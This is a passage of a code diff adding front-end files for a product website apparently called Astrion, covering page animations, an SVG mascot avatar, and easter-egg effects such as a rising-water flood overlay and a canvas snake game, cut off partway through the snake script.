draw(0, 0, 0); // 静态星图
|
||||||
|
} else {
|
||||||
|
scheduleMeteor(performance.now() + 6000); // 首颗稍提前,证明存在
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
// 滚动时重绘由 rAF 持续驱动,无需 scroll 监听
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ═══════════ 2) 顶栏滚动态 ═══════════ */
|
||||||
|
|
||||||
|
var topbar = document.getElementById('topbar');
|
||||||
|
function onScroll() {
|
||||||
|
topbar.classList.toggle('scrolled', (window.scrollY || 0) > 24);
|
||||||
|
}
|
||||||
|
window.addEventListener('scroll', onScroll, { passive: true });
|
||||||
|
onScroll();
|
||||||
|
|
||||||
|
/* ═══════════ 3) FAQ 平滑手风琴 ═══════════ */
|
||||||
|
|
||||||
|
var faqItems = document.querySelectorAll('.faq-item');
|
||||||
|
faqItems.forEach(function (item) {
|
||||||
|
var summary = item.querySelector('.faq-q');
|
||||||
|
var panel = item.querySelector('.faq-a');
|
||||||
|
summary.addEventListener('click', function (e) {
|
||||||
|
e.preventDefault();
|
||||||
|
if (reduceMotion) {
|
||||||
|
item.open = !item.open;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (item.open) {
|
||||||
|
// 收起:先固定高度再过渡到 0
|
||||||
|
var h0 = panel.offsetHeight;
|
||||||
|
panel.style.height = h0 + 'px';
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
panel.style.transition = 'height 0.22s ease';
|
||||||
|
panel.style.height = '0px';
|
||||||
|
});
|
||||||
|
panel.addEventListener('transitionend', function done() {
|
||||||
|
panel.removeEventListener('transitionend', done);
|
||||||
|
panel.style.cssText = '';
|
||||||
|
item.open = false;
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
item.open = true;
|
||||||
|
var h1 = panel.offsetHeight;
|
||||||
|
panel.style.height = '0px';
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
panel.style.transition = 'height 0.24s ease';
|
||||||
|
panel.style.height = h1 + 'px';
|
||||||
|
});
|
||||||
|
panel.addEventListener('transitionend', function done() {
|
||||||
|
panel.removeEventListener('transitionend', done);
|
||||||
|
panel.style.cssText = '';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
/* ═══════════ 4) 演示区等比缩放 ═══════════ */
|
||||||
|
|
||||||
|
var frame = document.getElementById('demoFrame');
|
||||||
|
var iframe = document.getElementById('demoIframe');
|
||||||
|
var DEMO_W = 1400;
|
||||||
|
var DEMO_H = 860;
|
||||||
|
|
||||||
|
function fitDemo() {
|
||||||
|
var available = frame.clientWidth;
|
||||||
|
var scale = Math.min(1, available / DEMO_W);
|
||||||
|
iframe.style.transform = 'scale(' + scale + ')';
|
||||||
|
frame.style.height = Math.round(DEMO_H * scale) + 'px';
|
||||||
|
}
|
||||||
|
|
||||||
|
if ('ResizeObserver' in window) {
|
||||||
|
new ResizeObserver(fitDemo).observe(frame);
|
||||||
|
}
|
||||||
|
window.addEventListener('resize', fitDemo, { passive: true });
|
||||||
|
fitDemo();
|
||||||
|
|
||||||
|
/* ═══════════ 5) 品牌眼睛 ═══════════ */
|
||||||
|
|
||||||
|
if (window.AstrionAvatar) {
|
||||||
|
AstrionAvatar.mount(document.getElementById('heroMascot'), { mode: 'idle', blink: true, track: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ═══════════ 6) 运行模式动画(功能 01 行) ═══════════ */
|
||||||
|
|
||||||
|
if (window.AnimModes && document.getElementById('animModes')) {
|
||||||
|
AnimModes.init(document.getElementById('animModes'));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ═══════════ 7) 沙箱与网络授权动画(功能 02 行) ═══════════ */
|
||||||
|
|
||||||
|
if (window.AnimSandbox && document.getElementById('animSandbox')) {
|
||||||
|
AnimSandbox.init(document.getElementById('animSandbox'));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ═══════════ 8) 修改记录动画(功能 03 行) ═══════════ */
|
||||||
|
|
||||||
|
if (window.AnimRecords && document.getElementById('animRecords')) {
|
||||||
|
AnimRecords.init(document.getElementById('animRecords'));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ═══════════ 9) 版本控制动画(功能 04 行) ═══════════ */
|
||||||
|
|
||||||
|
if (window.AnimVersion && document.getElementById('animVersion')) {
|
||||||
|
AnimVersion.init(document.getElementById('animVersion'));
|
||||||
|
}
|
||||||
|
})();
|
||||||
35
website-design/exp/static/astrion-avatar.svg
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -4 200 200" aria-hidden="true">
|
||||||
|
<style>
|
||||||
|
.sa-frame, .sa-eye {
|
||||||
|
stroke: #000000;
|
||||||
|
stroke-linecap: round;
|
||||||
|
stroke-linejoin: round;
|
||||||
|
fill: none;
|
||||||
|
}
|
||||||
|
.sa-frame {
|
||||||
|
stroke-width: 12;
|
||||||
|
}
|
||||||
|
.sa-eye {
|
||||||
|
stroke-width: 10;
|
||||||
|
}
|
||||||
|
@media (prefers-color-scheme: dark) {
|
||||||
|
.sa-frame, .sa-eye {
|
||||||
|
stroke: #ffffff;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<path
|
||||||
|
class="sa-frame"
|
||||||
|
d="M 175.959,107.000 Q 180.000,100.000 175.959,93.000 L 144.041,37.718 Q 140.000,30.718 131.917,30.718 L 68.083,30.718 Q 60.000,30.718 55.959,37.718 L 24.041,93.000 Q 20.000,100.000 24.041,107.000 L 55.959,162.282 Q 60.000,169.282 68.083,169.282 L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z"
|
||||||
|
/>
|
||||||
|
<path
|
||||||
|
class="sa-eye"
|
||||||
|
d="M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11"
|
||||||
|
transform="translate(84, 96)"
|
||||||
|
/>
|
||||||
|
<path
|
||||||
|
class="sa-eye"
|
||||||
|
d="M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11"
|
||||||
|
transform="translate(116, 96)"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 1.0 KiB |
38
website-design/exp/static/easter-eggs/flood.css
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
.easter-egg-overlay .easter-egg-water {
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay .easter-egg-water-container {
|
||||||
|
position: absolute;
|
||||||
|
bottom: -2px;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 0%;
|
||||||
|
overflow: visible;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay .easter-egg-water-container .wave {
|
||||||
|
position: absolute;
|
||||||
|
bottom: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 200%;
|
||||||
|
height: 100%;
|
||||||
|
background-repeat: repeat-x;
|
||||||
|
background-position: bottom;
|
||||||
|
opacity: 0.9;
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay .easter-egg-water-container .wave.wave1 {
|
||||||
|
filter: blur(0.5px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay .easter-egg-water-container .wave.wave2 {
|
||||||
|
filter: blur(1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay .easter-egg-water-container .wave.wave3 {
|
||||||
|
filter: blur(1.5px);
|
||||||
|
}
|
||||||
267
website-design/exp/static/easter-eggs/flood.js
Normal file
@ -0,0 +1,267 @@
|
|||||||
|
(function registerFloodEffect(global) {
|
||||||
|
const registry = global.EasterEggRegistry;
|
||||||
|
if (!registry) {
|
||||||
|
console.error('[easter-eggs:flood] 未找到 EasterEggRegistry,无法注册特效');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
registry.register('flood', function createFloodEffect(context = {}) {
|
||||||
|
const root = context.root;
|
||||||
|
if (!root) {
|
||||||
|
throw new Error('缺少彩蛋根节点');
|
||||||
|
}
|
||||||
|
|
||||||
|
const payload = context.payload || {};
|
||||||
|
const wrapper = document.createElement('div');
|
||||||
|
wrapper.className = 'easter-egg-water';
|
||||||
|
|
||||||
|
const container = document.createElement('div');
|
||||||
|
container.className = 'easter-egg-water-container';
|
||||||
|
|
||||||
|
wrapper.appendChild(container);
|
||||||
|
root.appendChild(wrapper);
|
||||||
|
|
||||||
|
const waves = createWaves(container);
|
||||||
|
|
||||||
|
const state = {
|
||||||
|
payload,
|
||||||
|
root,
|
||||||
|
wrapper,
|
||||||
|
container,
|
||||||
|
waves,
|
||||||
|
styleNode: null,
|
||||||
|
retreatPromise: null,
|
||||||
|
retreatTimeout: null
|
||||||
|
};
|
||||||
|
|
||||||
|
runFloodAnimation(state);
|
||||||
|
|
||||||
|
return {
|
||||||
|
/**
|
||||||
|
* 销毁特效。
|
||||||
|
* @param {{immediate?: boolean}} options
|
||||||
|
*/
|
||||||
|
destroy(options = {}) {
|
||||||
|
const immediate = Boolean(options.immediate);
|
||||||
|
if (immediate) {
|
||||||
|
cleanupFloodState(state);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (state.retreatPromise) {
|
||||||
|
return state.retreatPromise;
|
||||||
|
}
|
||||||
|
return startFloodRetreat(state);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
function createWaves(container) {
|
||||||
|
const waves = [];
|
||||||
|
for (let i = 1; i <= 3; i++) {
|
||||||
|
const wave = document.createElement('div');
|
||||||
|
wave.className = `wave wave${i}`;
|
||||||
|
container.appendChild(wave);
|
||||||
|
waves.push(wave);
|
||||||
|
}
|
||||||
|
return waves;
|
||||||
|
}
|
||||||
|
|
||||||
|
function runFloodAnimation(state) {
|
||||||
|
const { container, waves, payload } = state;
|
||||||
|
if (!container || !waves.length) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const styleEl = document.createElement('style');
|
||||||
|
styleEl.setAttribute('data-easter-egg', 'flood');
|
||||||
|
document.head.appendChild(styleEl);
|
||||||
|
state.styleNode = styleEl;
|
||||||
|
const sheet = styleEl.sheet;
|
||||||
|
if (!sheet) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
container.style.animation = 'none';
|
||||||
|
container.style.height = '0%';
|
||||||
|
void container.offsetHeight;
|
||||||
|
|
||||||
|
const range = Array.isArray(payload.intensity_range) && payload.intensity_range.length === 2
|
||||||
|
? payload.intensity_range
|
||||||
|
: [0.85, 0.92];
|
||||||
|
const minHeight = Math.min(range[0], range[1]);
|
||||||
|
const maxHeight = Math.max(range[0], range[1]);
|
||||||
|
const targetHeight = randRange(minHeight * 100, maxHeight * 100);
|
||||||
|
const riseDuration = randRange(30, 40);
|
||||||
|
const easing = pickOne([
|
||||||
|
'ease-in-out',
|
||||||
|
'cubic-bezier(0.25, 0.46, 0.45, 0.94)',
|
||||||
|
'cubic-bezier(0.42, 0, 0.58, 1)'
|
||||||
|
]) || 'ease-in-out';
|
||||||
|
const riseName = uniqueKey('flood_rise');
|
||||||
|
sheet.insertRule(
|
||||||
|
`@keyframes ${riseName} { 0% { height: 0%; } 100% { height: ${targetHeight}%; } }`,
|
||||||
|
sheet.cssRules.length
|
||||||
|
);
|
||||||
|
container.style.animation = `${riseName} ${riseDuration}s ${easing} forwards`;
|
||||||
|
|
||||||
|
const directionSets = [
|
||||||
|
[1, 1, -1],
|
||||||
|
[1, -1, -1],
|
||||||
|
[-1, 1, 1],
|
||||||
|
[-1, -1, 1]
|
||||||
|
];
|
||||||
|
const directions = pickOne(directionSets) || [1, -1, 1];
|
||||||
|
const colors = [
|
||||||
|
'rgba(135, 206, 250, 0.35)',
|
||||||
|
'rgba(100, 181, 246, 0.45)',
|
||||||
|
'rgba(33, 150, 243, 0.4)'
|
||||||
|
];
|
||||||
|
|
||||||
|
waves.forEach((wave, index) => {
|
||||||
|
const svgData = buildFloodWaveShape(index);
|
||||||
|
const color = colors[index % colors.length];
|
||||||
|
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${svgData.width} 1000" preserveAspectRatio="none"><path d="${svgData.path}" fill="${color}"/></svg>`;
|
||||||
|
const encoded = encodeURIComponent(svg);
|
||||||
|
wave.style.backgroundImage = `url("data:image/svg+xml,${encoded}")`;
|
||||||
|
wave.style.backgroundSize = `${svgData.waveWidth}px 100%`;
|
||||||
|
|
||||||
|
const animationName = uniqueKey(`flood_wave_${index}`);
|
||||||
|
const startPosition = randInt(-200, 200);
|
||||||
|
const distance = svgData.waveWidth * (directions[index] || 1);
|
||||||
|
const duration = index === 0 ? randRange(16, 22) : index === 1 ? randRange(11, 16) : randRange(7, 12);
|
||||||
|
const delay = randRange(0, 1.5);
|
||||||
|
sheet.insertRule(
|
||||||
|
`@keyframes ${animationName} { 0% { background-position-x: ${startPosition}px; } 100% { background-position-x: ${startPosition + distance}px; } }`,
|
||||||
|
sheet.cssRules.length
|
||||||
|
);
|
||||||
|
wave.style.animation = `${animationName} ${duration}s linear infinite`;
|
||||||
|
wave.style.animationDelay = `${delay}s`;
|
||||||
|
wave.style.backgroundPositionX = `${startPosition}px`;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function startFloodRetreat(state) {
|
||||||
|
const { container } = state;
|
||||||
|
if (!container) {
|
||||||
|
cleanupFloodState(state);
|
||||||
|
return Promise.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
state.retreatPromise = new Promise((resolve) => {
|
||||||
|
const measuredHeight = container.offsetHeight || container.clientHeight;
|
||||||
|
const computedHeight = window.getComputedStyle(container).height;
|
||||||
|
const currentHeight = measuredHeight
|
||||||
|
? `${measuredHeight}px`
|
||||||
|
: (computedHeight && computedHeight !== 'auto' ? computedHeight : '0px');
|
||||||
|
container.style.animation = 'none';
|
||||||
|
container.style.transition = 'none';
|
||||||
|
container.style.height = currentHeight;
|
||||||
|
void container.offsetHeight;
|
||||||
|
|
||||||
|
const retreatDuration = 8;
|
||||||
|
container.style.transition = `height ${retreatDuration}s ease-in-out`;
|
||||||
|
requestAnimationFrame(() => {
|
||||||
|
container.style.height = '0px';
|
||||||
|
});
|
||||||
|
|
||||||
|
state.retreatTimeout = window.setTimeout(() => {
|
||||||
|
container.style.transition = 'none';
|
||||||
|
cleanupFloodState(state);
|
||||||
|
resolve();
|
||||||
|
}, retreatDuration * 1000);
|
||||||
|
});
|
||||||
|
|
||||||
|
return state.retreatPromise;
|
||||||
|
}
|
||||||
|
|
||||||
|
function cleanupFloodState(state) {
|
||||||
|
if (state.retreatTimeout) {
|
||||||
|
clearTimeout(state.retreatTimeout);
|
||||||
|
state.retreatTimeout = null;
|
||||||
|
}
|
||||||
|
clearFloodAnimations(state);
|
||||||
|
teardownFloodStyle(state);
|
||||||
|
if (state.wrapper && state.wrapper.parentNode) {
|
||||||
|
state.wrapper.parentNode.removeChild(state.wrapper);
|
||||||
|
}
|
||||||
|
state.wrapper = null;
|
||||||
|
state.container = null;
|
||||||
|
state.waves = [];
|
||||||
|
state.retreatPromise = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearFloodAnimations(state) {
|
||||||
|
const { container, waves } = state;
|
||||||
|
if (!container) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
container.style.animation = 'none';
|
||||||
|
container.style.transition = 'none';
|
||||||
|
container.style.height = '0%';
|
||||||
|
waves.forEach((wave) => {
|
||||||
|
wave.style.animation = 'none';
|
||||||
|
wave.style.backgroundImage = '';
|
||||||
|
wave.style.backgroundSize = '';
|
||||||
|
wave.style.backgroundPositionX = '0px';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function teardownFloodStyle(state) {
|
||||||
|
if (state.styleNode && state.styleNode.parentNode) {
|
||||||
|
state.styleNode.parentNode.removeChild(state.styleNode);
|
||||||
|
}
|
||||||
|
state.styleNode = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildFloodWaveShape(layerIndex) {
|
||||||
|
const baseHeight = 180 + layerIndex * 12;
|
||||||
|
const cycles = 4;
|
||||||
|
let path = `M0,${baseHeight}`;
|
||||||
|
let currentX = 0;
|
||||||
|
let previousAmplitude = randRange(40, 80);
|
||||||
|
|
||||||
|
for (let i = 0; i < cycles; i++) {
|
||||||
|
const waveLength = randRange(700, 900);
|
||||||
|
const minAmp = Math.max(20, previousAmplitude - 20);
|
||||||
|
const maxAmp = Math.min(90, previousAmplitude + 20);
|
||||||
|
const amplitude = randRange(minAmp, maxAmp);
|
||||||
|
previousAmplitude = amplitude;
|
||||||
|
const halfWave = waveLength / 2;
|
||||||
|
|
||||||
|
const peakX = currentX + halfWave / 2;
|
||||||
|
path += ` Q${peakX},${baseHeight - amplitude} ${currentX + halfWave},${baseHeight}`;
|
||||||
|
|
||||||
|
const troughX = currentX + halfWave + halfWave / 2;
|
||||||
|
path += ` Q${troughX},${baseHeight + amplitude} ${currentX + waveLength},${baseHeight}`;
|
||||||
|
|
||||||
|
currentX += waveLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
path += ` L${currentX},1000 L0,1000 Z`;
|
||||||
|
return {
|
||||||
|
path,
|
||||||
|
width: currentX,
|
||||||
|
waveWidth: currentX / cycles
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function randRange(min, max) {
|
||||||
|
return Math.random() * (max - min) + min;
|
||||||
|
}
|
||||||
|
|
||||||
|
function randInt(min, max) {
|
||||||
|
return Math.floor(randRange(min, max + 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
function pickOne(arr) {
|
||||||
|
if (!Array.isArray(arr) || arr.length === 0) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return arr[Math.floor(Math.random() * arr.length)];
|
||||||
|
}
|
||||||
|
|
||||||
|
function uniqueKey(prefix) {
|
||||||
|
const random = Math.random().toString(36).slice(2, 7);
|
||||||
|
return `${prefix}_${Date.now()}_${random}`;
|
||||||
|
}
|
||||||
|
})(window);
|
||||||
67
website-design/exp/static/easter-eggs/registry.js
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
(function initEasterEggRegistry(global) {
|
||||||
|
/**
|
||||||
|
* 一个极简的彩蛋注册表,用于在主应用与各特效实现之间解耦。
|
||||||
|
* 每个特效需要调用 register(effectName, factory),factory 必须返回带有 destroy 方法的实例。
|
||||||
|
*/
|
||||||
|
const registry = {
|
||||||
|
effects: Object.create(null),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 注册彩蛋。
|
||||||
|
* @param {string} effectName
|
||||||
|
* @param {(context: object) => { destroy: Function }} factory
|
||||||
|
*/
|
||||||
|
register(effectName, factory) {
|
||||||
|
const key = (effectName || '').trim().toLowerCase();
|
||||||
|
if (!key) {
|
||||||
|
console.warn('[EasterEggRegistry] 忽略空 effectName');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (typeof factory !== 'function') {
|
||||||
|
console.warn('[EasterEggRegistry] 注册失败,factory 不是函数:', effectName);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.effects[key] = factory;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 创建彩蛋实例。
|
||||||
|
* @param {string} effectName
|
||||||
|
* @param {object} context
|
||||||
|
* @returns {object|null}
|
||||||
|
*/
|
||||||
|
start(effectName, context = {}) {
|
||||||
|
const key = (effectName || '').trim().toLowerCase();
|
||||||
|
const factory = this.effects[key];
|
||||||
|
if (!factory) {
|
||||||
|
console.warn('[EasterEggRegistry] 未找到特效:', effectName);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const instance = factory({
|
||||||
|
...context,
|
||||||
|
effect: key,
|
||||||
|
});
|
||||||
|
if (!instance || typeof instance.destroy !== 'function') {
|
||||||
|
console.warn('[EasterEggRegistry] 特效未返回 destroy 方法:', effectName);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
} catch (error) {
|
||||||
|
console.error('[EasterEggRegistry] 特效初始化失败:', effectName, error);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
has(effectName) {
|
||||||
|
const key = (effectName || '').trim().toLowerCase();
|
||||||
|
return Boolean(this.effects[key]);
|
||||||
|
},
|
||||||
|
|
||||||
|
list() {
|
||||||
|
return Object.keys(this.effects);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
global.EasterEggRegistry = registry;
|
||||||
|
})(window);
|
||||||
13
website-design/exp/static/easter-eggs/snake.css
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
.easter-egg-overlay .snake-overlay {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.easter-egg-overlay canvas.snake-canvas {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
503
website-design/exp/static/easter-eggs/snake.js
Normal file
@ -0,0 +1,503 @@
|
|||||||
|
(function registerSnakeEffect(global) {
|
||||||
|
const registry = global.EasterEggRegistry;
|
||||||
|
if (!registry) {
|
||||||
|
console.error('[easter-eggs:snake] 未找到 EasterEggRegistry,无法注册特效');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
registry.register('snake', function createSnakeEffect(context = {}) {
|
||||||
|
const root = context.root;
|
||||||
|
if (!root) {
|
||||||
|
throw new Error('缺少彩蛋根节点');
|
||||||
|
}
|
||||||
|
const payload = context.payload || {};
|
||||||
|
|
||||||
|
const container = document.createElement('div');
|
||||||
|
container.className = 'snake-overlay';
|
||||||
|
|
||||||
|
const canvas = document.createElement('canvas');
|
||||||
|
canvas.className = 'snake-canvas';
|
||||||
|
container.appendChild(canvas);
|
||||||
|
root.appendChild(container);
|
||||||
|
|
||||||
|
const effect = new SnakeEffect(container, canvas, payload, context.app);
|
||||||
|
|
||||||
|
return {
|
||||||
|
destroy(options = {}) {
|
||||||
|
return effect.stop(options);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
class SnakeEffect {
|
||||||
|
constructor(container, canvas, payload, app) {
|
||||||
|
this.container = container;
|
||||||
|
this.canvas = canvas;
|
||||||
|
this.ctx = canvas.getContext('2d');
|
||||||
|
this.payload = payload || {};
|
||||||
|
this.app = app || null;
|
||||||
|
this.targetApples = Math.max(1, Math.floor(Number(this.payload.apples_target) || 10));
|
||||||
|
this.initialApples = Math.max(1, Math.floor(Number(this.payload.initial_apples) || 3));
|
||||||
|
this.apples = [];
|
||||||
|
this.applesEaten = 0;
|
||||||
|
this.appleFadeInDuration = 800;
|
||||||
|
this.appleFadeOutDuration = 1500;
|
||||||
|
this.finalRun = false;
|
||||||
|
this.running = true;
|
||||||
|
this.finished = false;
|
||||||
|
this.cleanupRequested = false;
|
||||||
|
this.cleanupResolve = null;
|
||||||
|
this.cleanupPromise = new Promise((resolve) => {
|
||||||
|
this.cleanupResolve = resolve;
|
||||||
|
});
|
||||||
|
this.appNotified = false;
|
||||||
|
this.pendingResizeId = null;
|
||||||
|
|
||||||
|
this.resize = this.resize.bind(this);
|
||||||
|
window.addEventListener('resize', this.resize);
|
||||||
|
this.resize();
|
||||||
|
this.scheduleResize();
|
||||||
|
|
||||||
|
this.snake = new Snake(this);
|
||||||
|
|
||||||
|
const spawnTime = typeof performance !== 'undefined' ? performance.now() : Date.now();
|
||||||
|
for (let i = 0; i < this.initialApples; i++) {
|
||||||
|
this.apples.push(this.createApple(spawnTime));
|
||||||
|
}
|
||||||
|
|
||||||
|
this.animate = this.animate.bind(this);
|
||||||
|
this.lastTime = 0;
|
||||||
|
this.frameInterval = 1000 / 60;
|
||||||
|
this.rafId = requestAnimationFrame(this.animate);
|
||||||
|
}
|
||||||
|
|
||||||
|
scheduleResize() {
|
||||||
|
if (this.pendingResizeId) {
|
||||||
|
cancelAnimationFrame(this.pendingResizeId);
|
||||||
|
}
|
||||||
|
this.pendingResizeId = requestAnimationFrame(() => {
|
||||||
|
this.pendingResizeId = null;
|
||||||
|
this.resize();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
resize() {
|
||||||
|
const rect = this.container.getBoundingClientRect();
|
||||||
|
let width = Math.floor(rect.width);
|
||||||
|
let height = Math.floor(rect.height);
|
||||||
|
|
||||||
|
if (width < 2 || height < 2) {
|
||||||
|
width = window.innerWidth || document.documentElement.clientWidth || 1;
|
||||||
|
height = window.innerHeight || document.documentElement.clientHeight || 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
width = Math.max(1, width);
|
||||||
|
height = Math.max(1, height);
|
||||||
|
if (this.canvas.width !== width || this.canvas.height !== height) {
|
||||||
|
this.canvas.width = width;
|
||||||
|
this.canvas.height = height;
|
||||||
|
if (this.snake && typeof this.snake.handleResize === 'function') {
|
||||||
|
this.snake.handleResize(width, height);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
createApple(timestamp = null) {
|
||||||
|
const margin = 60;
|
||||||
|
const width = this.canvas.width;
|
||||||
|
const height = this.canvas.height;
|
||||||
|
const now = timestamp != null
|
||||||
|
? timestamp
|
||||||
|
: (typeof performance !== 'undefined' ? performance.now() : Date.now());
|
||||||
|
return {
|
||||||
|
x: margin + Math.random() * Math.max(1, width - margin * 2),
|
||||||
|
y: margin + Math.random() * Math.max(1, height - margin * 2),
|
||||||
|
opacity: 0,
|
||||||
|
fadeInStart: now,
|
||||||
|
fadeOutStart: null
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
handleAppleConsumed(index) {
|
||||||
|
this.applesEaten += 1;
|
||||||
|
const reachedGoal = this.applesEaten >= this.targetApples;
|
||||||
|
if (reachedGoal) {
|
||||||
|
this.apples.splice(index, 1);
|
||||||
|
this.startFinalRun();
|
||||||
|
} else if (this.apples[index]) {
|
||||||
|
const now = typeof performance !== 'undefined' ? performance.now() : Date.now();
|
||||||
|
this.apples[index] = this.createApple(now);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
startFinalRun(force = false) {
|
||||||
|
if (this.finalRun) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.finalRun = true;
|
||||||
|
this.appleFadeOutStart = typeof performance !== 'undefined' ? performance.now() : Date.now();
|
||||||
|
this.apples.forEach((apple) => {
|
||||||
|
apple.fadeOutStart = this.appleFadeOutStart;
|
||||||
|
});
|
||||||
|
this.snake.beginFinalRun();
|
||||||
|
if (force) {
|
||||||
|
this.applesEaten = Math.max(this.applesEaten, this.targetApples);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
drawApples(timestamp) {
|
||||||
|
const ctx = this.ctx;
|
||||||
|
const now = timestamp != null
|
||||||
|
? timestamp
|
||||||
|
: (typeof performance !== 'undefined' ? performance.now() : Date.now());
|
||||||
|
for (let i = this.apples.length - 1; i >= 0; i--) {
|
||||||
|
const apple = this.apples[i];
|
||||||
|
if (apple.fadeOutStart) {
|
||||||
|
const progress = Math.min(1, (now - apple.fadeOutStart) / this.appleFadeOutDuration);
|
||||||
|
apple.opacity = 1 - progress;
|
||||||
|
if (apple.opacity <= 0.02) {
|
||||||
|
this.apples.splice(i, 1);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
} else if (apple.fadeInStart) {
|
||||||
|
const progress = Math.min(1, (now - apple.fadeInStart) / this.appleFadeInDuration);
|
||||||
|
apple.opacity = progress;
|
||||||
|
if (apple.opacity >= 0.995) {
|
||||||
|
apple.fadeInStart = null;
|
||||||
|
apple.opacity = 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
apple.opacity = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx.fillStyle = `hsla(${this.snake.hue}, 70%, 65%, ${apple.opacity})`;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(apple.x, apple.y, 14, 0, Math.PI * 2);
|
||||||
|
ctx.fill();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
animate(timestamp) {
|
||||||
|
if (!this.running) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.rafId = requestAnimationFrame(this.animate);
|
||||||
|
const elapsed = timestamp - this.lastTime;
|
||||||
|
if (elapsed < this.frameInterval) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.lastTime = timestamp - (elapsed % this.frameInterval);
|
||||||
|
|
||||||
|
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
|
||||||
|
|
||||||
|
this.snake.findNearestApple();
|
||||||
|
this.snake.update();
|
||||||
|
this.drawApples(timestamp);
|
||||||
|
this.snake.draw();
|
||||||
|
|
||||||
|
if (this.finalRun && this.apples.length === 0 && this.snake.isCompletelyOffscreen(80)) {
|
||||||
|
this.finish(false, !this.cleanupRequested);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
stop(options = {}) {
|
||||||
|
const immediate = Boolean(options && options.immediate);
|
||||||
|
if (immediate) {
|
||||||
|
this.cleanupRequested = true;
|
||||||
|
this.finish(true, false);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (this.finished) {
|
||||||
|
return this.cleanupPromise;
|
||||||
|
}
|
||||||
|
this.cleanupRequested = true;
|
||||||
|
if (!this.finalRun) {
|
||||||
|
this.startFinalRun(true);
|
||||||
|
}
|
||||||
|
return this.cleanupPromise;
|
||||||
